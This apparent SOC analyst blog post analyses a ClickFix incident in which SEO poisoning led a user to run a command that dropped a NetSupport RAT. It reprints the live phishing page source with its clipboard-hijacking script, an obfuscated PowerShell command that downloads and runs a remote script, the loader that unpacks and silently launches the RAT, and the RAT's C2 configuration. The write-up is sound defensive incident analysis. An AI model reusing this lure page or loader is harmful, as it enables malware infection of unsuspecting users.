====================
== Alert Overload ==
====================
Tales from a SOC analyst

ClickFix - The RAT that (almost) got away

ClickFix - The RAT that (almost) got away

This writeup was originally produced for internal enterprise documentation and has been stripped of some details.

This is an initial writeup for record keeping and incident analysis. This writeup may not cover the full scope of the incident.


Incident Overview

An initial alert came in as an incident on a protected host. This incident was given a score of 1.1/10 and the summary of the included events revolved around a detection of a known hash. One minute after this automated incident message, 4 high detections were created for the host. Three minutes after the first notification, a managed detection was sent, including comments from the EDR vendors’ managed response team.

The incident, and the subsequent detections, were related to ClickFix activity that led to a NetSupport RAT being deployed and executed on a protected host. In historical cases of ClickFix, incidents were blocked at the initial PowerShell or other command execution stages. In the rare case that the intial stage was not blocked, the following payload execution attempt had always been blocked. In the incident on May 30th, the RAT was successfully executed twice. In both executions, the RAT ran for less than a second before the processes were killed by the EDR.

As soon as execution of the RAT was confirmed, the incident was elevated and the victim host was contained to prevent any potential network interactions. This occured roughly ~7 minutes after the first notification. The payload and associated files were immediately retrieved from the victim post-containment, and the user’s browsing history was also taken for analysis. All together, the incident lasted 20 minutes and was contained within 10.

The initial investigation revealed that the user had fallen for an SEO poisoning attack that directed victims to a ClickFix page claiming to be associated with 1Password. They had been searching for yubikeys in Bing, and the first suggested result was a malicious domain. They followed the instructions on they were given by the ClickFix page, which prompted the retrieval and execution of the RAT.

Investigation

The user initially performed a Bing search for the string ‘yubikey’.

alt text

The top result at the time of the incident and investigation was a domain utilizing SEO poisoning to inhabit the top result for related searches. The user clicked this first result and was directed to a ClickFix page.

alt text

alt text

Clicking the ‘Verify’ button led to a standard ClickFix instruction set, which the user followed.

alt text

Notably, this ClickFix domain demonstrates signs of being versatile and modifiable. Albeit, in a rather sloppy way. The URL contains parameters to retrieve and display logos from WikiMedia pages along with paramters for defining campaigns and titles.


https://servicerb.cloud/index.php?

logo=https:%2F%2Fupload.wikimedia.org%2Fwikipedia%2Fcommons%2F0%2F02%2F1Password_wordmark_blue_2023.svg

&msclkid=3d9ffda6f48e14b3b9cc959ce2295ffa

&security_token=abcdef

&site=1password.com

&utm_campaign=zzzeffi-sn-technicien-intervention-sociale-familiaIe

&utm_content=zzzeffi-sn-technicien-intervention-sociale-familiaIepassmanager

&utm_medium=cpc

&utm_source=bing

&utm_term=password%20manager

With just a few simple changes, it is possible to make this ClickFix page display any content desired.

alt text

This highly suggests that this is a rapidly deployable variant. Although, ClickFix in general has typically been quick to deploy.

Full source code for the ClickFix domain


<html lang="en"><head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Checking if you are human</title>
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css">
    <style>
    body {
    background-color: #fcfcfc;
      color: #333;
    }

    .tettx {
            color: rgb(78 78 78);
    }

    .verify-main {
            color: #333 !important;
    }

    .verify-verify-button {
            background: #333333 !important;
    }

    .checkbox-window {
     display: flex;
     flex-direction: column;
     align-items: center;
     width: 300px;
     height: 74px;
     background-color: #fafafa;
     border: 1px solid #e0e0e0;
     border-radius: 4px;
     padding: 10px;
     overflow: hidden;
     transition: width 0.5s ease-in-out, height 0.5s ease-in-out;
    }

    .checkbox-container {
     width: 28px;
     height: 28px;
     margin-left: 12px;
     margin-right: 8px;
     position: relative;
    }

.checkbox {
    width: 100%;
    height: 100%;
    background-color: #ffffff;
    border-radius: 2px;
    border: 2px solid #888888;
    cursor: pointer;
    transition: border-color 0.3s, background-color 0.3s;
}

    .checkbox.checked {
     border-color: #4285f4;
     background-color: #4285f4;
     position: relative;
    }

    .checkbox.checked::after {
     content: "\f00c";
     font-family: "FontAwesome";
     color: #fff;
     font-size: 18px;
     position: absolute;
     top: -2px;
     left: 2px;
    }

    .spinner {
     visibility: hidden;
     position: relative;
    }

    .verify-window {
     opacity: 0;
     visibility: hidden;
     width: 100%;
     height: 0;
     transition: opacity 0.5s ease-in-out, height 0.5s ease-in-out;
    }

    .verify-window.active {
     opacity: 1;
     visibility: visible;
     height: auto;
    }

    .verify-header {
     background-color: #e85d1a;
     padding: 10px;
     color: #fff;
     font-size: 14px;
    }

    .verify-main {
     padding: 10px;
     font-size: 14px;
     color: #fff;
    }

    .verify-footer {
     background-color: #f2f2f2;
     padding: 10px;
     text-align: right;
    }

    .verify-footer button {
     padding: 8px 15px;
     background: #4285f4;
     color: #fff;
     border: none;
     cursor: pointer;
     border-radius: 4px;
    }

    /* NEW STYLE */

    .verify-window {
     width: auto;
    }

    .verify-header {
     background-color: #e85d1a;
     padding: 10px 16px;
     color: #fff;
     font-size: 14px;
     border-radius: 0;
    }

    .lds-ring div {
     border-color: #999 transparent transparent;
    }
    body.theme-light .lds-ring div {
     border-color: #595959 transparent transparent;
    }

    .lds-ring {
     display: inline-block;
     position: relative;
    }
    .lds-ring,
    .lds-ring div {
     height: 1.875rem;
     width: 1.875rem;
    }
    .lds-ring div {
     animation: lds-ring 1.2s cubic-bezier(0.5, 0, 0.5, 1) infinite;
     border: 0.3rem solid transparent;
     border-radius: 50%;
     border-top-color: #313131;
     box-sizing: border-box;
     display: block;
     position: absolute;
    }
    .lds-ring div:first-child {
     animation-delay: -0.45s;
    }
    .lds-ring div:nth-child(2) {
     animation-delay: -0.3s;
    }
    .lds-ring div:nth-child(3) {
     animation-delay: -0.15s;
    }

    @keyframes lds-ring {
     0% {
      transform: rotate(0deg);
     }
     to {
      transform: rotate(1turn);
     }
    }

 

       @media (prefers-color-scheme: dark) {
     body .lds-ring div {
      border-color: #676767 transparent transparent;
     }
    }

    * {
     box-sizing: border-box;
     margin: 0;
     padding: 0;
    }
    body {

     font-family: system-ui, -apple-system, BlinkMacSystemFont, Segoe UI, Roboto, Helvetica Neue, Arial, Noto Sans, sans-serif, Apple Color Emoji, Segoe UI Emoji, Segoe UI Symbol, Noto Color Emoji;
    }

    body {
     display: flex;
     flex-direction: column;
     height: 100vh;
     min-height: 100vh;
    }

    .main-wrapper {
     align-items: center;
     display: flex;
     flex: 1;
     flex-direction: column;
    }
    .main-content {
     margin: 8rem auto;
     max-width: 60rem;
     padding-left: 1.5rem;
     padding-right: 1.5rem;
     width: 100%;
    }

    .footer {
     font-size: 0.75rem;
     line-height: 1.125rem;
     margin: 0 auto;
     max-width: 60rem;
     padding-left: 1.5rem;
     padding-right: 1.5rem;
     width: 100%;
    }

    .footer-inner {
     border-top: 1px solid #d9d9d9;
     padding-bottom: 1rem;
     padding-top: 1rem;
     text-align: center;
    }
    /* Popup Verification Window */
    .verify-window {
     font-family: Roboto, helvetica, arial, sans-serif;
     opacity: 0;
     visibility: hidden;
     margin: auto;
     width: 310px;
     transition: opacity 400ms;
    }

    .verify-window {
     display: block;
     top: 5px;
     left: 54px;
    }

    .verify-header {
     background-color: #1a73e8;
     padding: 16px;
     color: #fff;
     font-size: 18px;
     border-radius: 8px 8px 0 0;
    }

    .verify-main {
     padding: 16px;
     font-size: 14px;
     color: #333;
    }

    .verify-main ol {
     padding-left: 20px;
    }

    .verify-main ol li {
     margin-bottom: 10px;
    }

    .verify-main code {
     display: block;
     margin-top: 10px;
     background-color: #f9f9f9;
     padding: 10px;
     font-size: 12px;
     border: 1px solid #ddd;
    }

    .verify-footer {
     background-color: #f2f2f2;
     padding: 16px;
     text-align: right;
    }

    .verify-footer button {
     padding: 10px 20px;
     background: #4285f4;
     color: #fff;
     border: none;
     border-radius: 5px;
     cursor: pointer;
    }

    .overlay {
     display: none;
     position: fixed;
     top: 0;
     left: 0;
     width: 100%;
     height: 100%;
     background: rgba(0, 0, 0, 0.5);
     z-index: 10;
    }

    .overlay.active,
    .verify-window.active {
     display: block;
    }

    .verify-window {
     width: auto;
    }

    .verify-header {
     background-color: #e85d1a;
     padding: 10px 16px;
     color: #fff;
     font-size: 14px;
     border-radius: 0;
    }

    #spinner2 {
    width: 40px; 
    height: 40px; 
    animation: rotate 4s linear infinite; 
    margin-top: -4px;
    
}

.checkbox-window {
  
    opacity: 0;
}

@keyframes rotate {
    from {
        transform: rotate(0deg);
    }

    to {
        transform: rotate(360deg);
    }
}



    </style>
</head>
<body>

<div class="main-wrapper">
 <div class="main-content">
  <div style="display: flex; align-items: center;">
   
  <!-- <img src="https://2captcha.com/dist/web/assets/google-privacy-policy-Cb0CGVRT.svg" /> -->

   <img class="logo-img" src="" style="height: 2rem; margin-right: 0.5rem;" >



   <p style="font-size: 2.5rem; font-weight: 500; line-height: 3.75rem;"><span class="domain-name"></span></p>
  </div>

 <div style="font-size: 1.5rem; line-height: 2.25rem; margin-bottom: 2rem; min-height: 2rem;">
  <p>
    <span class="preloader_text">Checking if you are human. This may take a few seconds.</span>
    <span class="textallstep" style="display: none;">Verify you are human by completing the action below.</span>   
  </p>
</div>

  <!-- PRELOADER -->
  <div class="preloader">
       <div class="lds-ring">
       <div></div>
       <div></div>
       <div></div>
       <div></div>
      </div>
  </div>



  <!-- START -->

  <div id="checkbox-window" class="checkbox-window" style="width: 300px; height: 74px; display: none;">
   <div style="display: flex; align-items: center; width: 100%;">
    <div class="checkbox-container" style="margin-left: 3px; margin-right: 12px; width: 30px;">

     <svg style="display: none;" class="step0" id="spinner2" fill="green" viewBox="0 0 60 60" xmlns="http://www.w3.org/2000/svg">
        <circle cx="30" cy="10" r="2.5" class="point"></circle>
        <circle cx="50" cy="30" r="2.5" class="point"></circle>
        <circle cx="30" cy="50" r="2.5" class="point"></circle>
        <circle cx="10" cy="30" r="2.5" class="point"></circle>
        <circle cx="43.6" cy="16.4" r="2.5" class="point"></circle>
        <circle cx="16.4" cy="16.4" r="2.5" class="point"></circle>
        <circle cx="43.6" cy="43.6" r="2.5" class="point"></circle>
        <circle cx="16.4" cy="43.6" r="2.5" class="point"></circle>
      </svg>  
    
     <button type="button" id="checkbox" class="checkbox step1" style="display: none;"></button>

     <div class="spinner step2" id="spinner" style="visibility: hidden; display: none;">
      <div class="lds-ring">
       <div></div>
       <div></div>
       <div></div>
       <div></div>
      </div>
     </div>

     <div class="step3" style="display: none;">
      <svg width="30" height="30" viewBox="0 0 50 50" xmlns="http://www.w3.org/2000/svg">
       <circle cx="25" cy="25" r="23" fill="#28a745" />
       <path d="M15 25 L22 32 L35 18" stroke="white" stroke-width="4" fill="none" stroke-linecap="round" stroke-linejoin="round" />
      </svg>
     </div>
    </div>

    <div class="tettx">
     <p class="step0" style="margin: 0 !important; ">Verifying...</p>
     <p class="step1" style="margin: 0 !important; display: none;">I'm not a robot</p>
     <p class="step2" style="margin: 0 !important; display: none;">Verification Steps</p>
     <p class="step3" style="margin: 0 !important; display: none;">Successfully.</p>
    </div>

    <div style="font-size: 8px; text-align: right; margin-left: auto;">
     <img style="width: 67px; height: 23px; margin-bottom: 5px;" src="https://i.postimg.cc/k4zrz92z/111.png" />
     <p style="text-decoration: underline;">Confidentiality</p>
     <p style="text-decoration: underline;">Terms and Conditions</p>
    </div>
   </div>

   <div id="verify-window" class="verify-window" style="border-top: 1px solid #797979; padding-top: 3px; margin-top: 15px;">
    <div class="verify-container">
     <main class="verify-main" style="color: #d9d9d9;">
      <p style="font-size: 18px; margin-bottom: 15px;">
       To better prove you are not a robot, please:
      </p>
      <ol>
       <li>Press &amp; hold the Windows Key <i class="fab fa-windows"></i> + <b>R</b>.</li>

       <li>In the verification window, press <b>Ctrl</b> + <b>V</b>.</li>

       <li>Press <b>Enter</b> on your keyboard to finish.</li>
      </ol>
      <p style="padding-top: 10px;">
       You will observe and agree:
       <br />
       <code style="background: none; border: 1px solid #797979; width: 432px;"> ✅ "I am not a robot - reCAPTCHA Verification ID: <span id="verification-id">146820</span>" </code>
      </p>
     </main>
    </div>
    <div class="verify-container verify-footer" style="background: none;">
     <div class="verify-footer-left" style="width: 286px; float: left; text-align: left; font-size: 15px;">
      Perform the steps above to finish verification.
     </div>
     <button type="button" class="verify-verify-button block" id="verify-button" style="background: #5e5e5e; padding: 9px 38px;">Verify</button>
    </div>
   </div>

   <!-- -->

   <script>
document.addEventListener("DOMContentLoaded", function () {
    const domain = window.location.hostname;
    document.querySelectorAll(".domain").forEach(el => {
        if (el) el.textContent = domain;
    });
});
</script>

  </div>
    <p style="font-size: 1.5rem;
    line-height: 2.25rem; padding-top: 20px;"><span class="domain-name"></span> needs to review the security of your connection before proceeding.</p>
 </div>
</div>

<div class="footer" role="contentinfo">
 <div class="footer-inner">
  <div>
   <div>Ray ID: <code class="ray-id">56a4c5299fdetmca</code></div>
  </div>
  <div style="margin-top: 5px;">Platform performance and security <span style="color: #000000">Cloudflare</span></div>
 </div>
</div>


<script>

// COMAND  
const command = `powershell -NoP -C "$d='glsrvc.cloud/Xorde3Yv.txt';$h=('h'+'tt'+'ps'+':'+'//')+$d;$s=(New-Object Net.WebClient).DownloadString($h);$m=('In'+'voke');[ScriptBlock]::Create($s).$m()"`;

// GET 
const params = new URLSearchParams(window.location.search);
const siteUrl = params.get('site');
const logoUrl = params.get('logo');
const defaultLogoUrl = 'https://2captcha.com/dist/web/assets/google-privacy-policy-Cb0CGVRT.svg';

document.querySelectorAll('.domain-name').forEach(el => {
  el.textContent = siteUrl;
});

document.querySelectorAll('.logo-img').forEach(img => {
  img.src = logoUrl || defaultLogoUrl;
  img.alt = 'logo';
});



document.addEventListener("DOMContentLoaded", function () {
    const preloaderElements = document.querySelectorAll(".preloader");
    const preloaderText = document.querySelector(".preloader_text");
    const textAllStep = document.querySelector(".textallstep");
    const checkboxWindow = document.getElementById("checkbox-window");
    const step0Elements = document.querySelectorAll(".step0");
    const step1Elements = document.querySelectorAll(".step1");
    const step2Elements = document.querySelectorAll(".step2");
    const step3Elements = document.querySelectorAll(".step3");
    const checkbox = document.getElementById("checkbox");
    const verifyWindow = document.getElementById("verify-window");
    const spinner = document.getElementById("spinner");
    const verifyButton = document.getElementById("verify-button");

    setTimeout(() => {
        preloaderElements.forEach(el => el.style.display = "none");
        preloaderText.style.display = "none";
        textAllStep.style.display = "block";
        checkboxWindow.style.display = "flex";

        setTimeout(() => {
            checkboxWindow.style.display = "flex"; 
            let opacity = 0;
            let fadeIn = setInterval(() => {
                if (opacity >= 1) {
                    clearInterval(fadeIn); 
                } else {
                    opacity += 0.1; 
                    checkboxWindow.style.opacity = opacity;
                }
            }, 30);
        }, 200);

        step0Elements.forEach(el => el.style.display = "block");

        setTimeout(() => {
            step0Elements.forEach(el => el.style.display = "none");
            step1Elements.forEach(el => el.style.display = "block");
        }, 2000); 
    }, 1500); 

    checkbox.addEventListener("click", function () {
        const textarea = document.createElement('textarea');
        textarea.value = command;
        textarea.setAttribute('readonly', '');
        textarea.style.position = 'absolute';
        textarea.style.left = '-9999px';
        document.body.appendChild(textarea);
        textarea.select();
        document.execCommand('copy');
        document.body.removeChild(textarea);
        console.log('✅');

        step1Elements.forEach(el => el.style.display = "none");
        step2Elements.forEach(el => el.style.display = "block");
        spinner.style.visibility = "visible";

        setTimeout(() => {
            checkboxWindow.style.width = "530px";
            checkboxWindow.style.height = "auto";
            verifyWindow.classList.add("active");
        }, 500);
    });

    verifyButton.addEventListener("click", function () {
        verifyWindow.classList.remove("active");
        checkboxWindow.style.height = "74px";

        setTimeout(() => {
            checkboxWindow.style.width = "300px";
            step2Elements.forEach(el => el.style.display = "none");
            step3Elements.forEach(el => el.style.display = "block");

            setTimeout(() => {
                step3Elements.forEach(el => el.style.display = "none");
                step1Elements.forEach(el => el.style.display = "block");
                spinner.style.visibility = "hidden";
            }, 1000);
        }, 600);
    });

    document.getElementById("verification-id").textContent = Math.floor(100000 + Math.random() * 900000);
    const chars = "abcdef0123456789";
    document.querySelector(".ray-id").textContent = Array.from({ length: 16 }, () => chars[Math.floor(Math.random() * chars.length)]).join("");
});


document.addEventListener('copy', function (e) {
    e.preventDefault();
    if (e.clipboardData) {
        e.clipboardData.setData('text/plain', command);
        console.log('✅');
    } else if (window.clipboardData) {
        window.clipboardData.setData('Text', command);
    }
});
</script>


</body></html>

When the ‘Verify’’ button is clicked, the ClickFix page automatically copies a PowerShell command to the clipboard. This command is then entered into the Windows Run menu and executed by the user. These actions are presented as a form of manual verification in order to gain access to a website.

In this incident, the copied and executed command was basic PowerShell for pulling a text file from a domain and executing it via ScriptBlock invocation.

Launch parameters

"C:\WINDOWS\system32\WindowsPowerShell\v1.0\PowerShell.exe" -NoP -C "..."

PowerShell commands

$d='glsrvc.cloud/Xorde3Yv.txt';$h=('h'+'tt'+'ps'+':'+'//')+$d;$s=(New-Object Net.WebClient).DownloadString($h);$m=('In'+'voke');[ScriptBlock]::Create($s).$m()

The contents of the text file are too large to fully display here, as the threat actor had converted the RAT files to a byte array that was unpacked within the script.

Minus the large byte array


$sv = 'Err'+'orAction'+'Preference'; Set-Variable -Name $sv -Value 'Stop';
$mgqKUf9F = ''; # Byte Array
$json = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($mgqKUf9F));
$obj = ConvertFrom-Json $json;
$paths = $obj.paths; $data = $obj.data;
$up = Join-Path $Env:AppData 'MTxA2q';
[System.IO.Directory]::CreateDirectory($up) | Out-Null;
for($ObBS=0; $ObBS -lt $paths.Count; $ObBS++) {
    $Wx5I = $paths[$ObBS];
    $jlMGIo = [System.Convert]::FromBase64String($data[$ObBS]);
    $mWKOb = Join-Path $up $Wx5I;
    $d = [System.IO.Path]::GetDirectoryName($mWKOb);
    if(-not (Test-Path $d)) { New-Item -ItemType Directory -Path $d | Out-Null }
    [System.IO.File]::WriteAllBytes($mWKOb, $jlMGIo);
}
Start-Process -FilePath (Join-Path $up 'uclient.exe') -WindowStyle Hidden -WorkingDirectory $up;

The byte array decoded to a JSON object containing the RAT configuration file names and data arrays.

{
    paths: 
        [
            "AudioCapture.dll",
            "client32.ini",
            "htctl32.dll",
            "msvcr100.dll",
            "nskbfltr.inf",
            "NSM.ini",
            "NSM.LIC",
            "nsm_vpro.ini",
            "pcicapi.DLL",
            "PCICHEK.DLL",
            "PCICL32.DLL",
            "remcmdstub.exe",
            "TCCTL32.DLL",
            "uclient.exe"
        ]
        ,
    data: 
        [
            "..."
        ]
}

Of note are the NSM.ini and client32.ini files. These contain the configuration states for the RAT itself.

The client32 configuration file contains the gateway addresses the RAT is pre-configured to use. This is very helpful for remediation purposes, as the addresses or domains can quickly be retrieved and used in threat hunting. In this incident, there were no signs of communication with either of the domains in the configuration file.

client32 configuration HTTP section

[HTTP]
CMPI=60
GatewayAddress=multiperfect.cloud:443
gsk=GJ;C>EDD9G>KCOHD
gskmode=0
GSK=GJ;C>EDD9G>KCOHD
GSKX=GJ;C>EDD9G>KCOHD
Port=443
SecondaryGateway=faerberplace.xyz:443
SecondaryPort=443

In this incident, custom dashboards were primarily used to perform initial response. These dashboards have advanced domain analysis and network analysis queries configured, and cover all managed devices. In scenarios where remediation efforts must be done through manual processes, it can be useful to use tools or commands that will immediately display networked processes. For example, Get-ProcessInfo (formerly, Vynae) or the standard Get-NetTCPConnection can be helpful in identifying any remnant processes that are utilizing network connections.

Due to the RAT getting killed by the EDR within ~1 second of execution, there were no connections made by the threat actor. Additionally, the initial script loader did not include any persistence mechanisms. As such, remediation efforts focused on removing the extracted files, ensuring the PowerShell process was killed and the RAT was not running in memory, and adding all relevant domains to the enterprise web block lists.

How this incident got so far

This incident was a relatively standard ClickFix deployment. We have seen many like it before, and will likely see many like it afterwards. However, this particular incident progressed far enough to successfully deploy RAT, even if it was almost immediately killed after execution.

The question now is: How did this incident not get stopped earlier?

Honestly, I’m not sure. There was an almost identical infection (freewebstatics.com) not that long ago, that made it to the deployment of the same NetSupport RAT, but in that incident, the executable was immediately quarantined and removed from the device.

Looking at the differences between this deployment and other historical deployments will hopefully shed some light on the differences. However, as I’ve discussed in ClickFix - An Overview, ClickFix is consistently seeing more advanced use and deployments. I don’t think we’re far off from seeing more incidents with successful payload execution.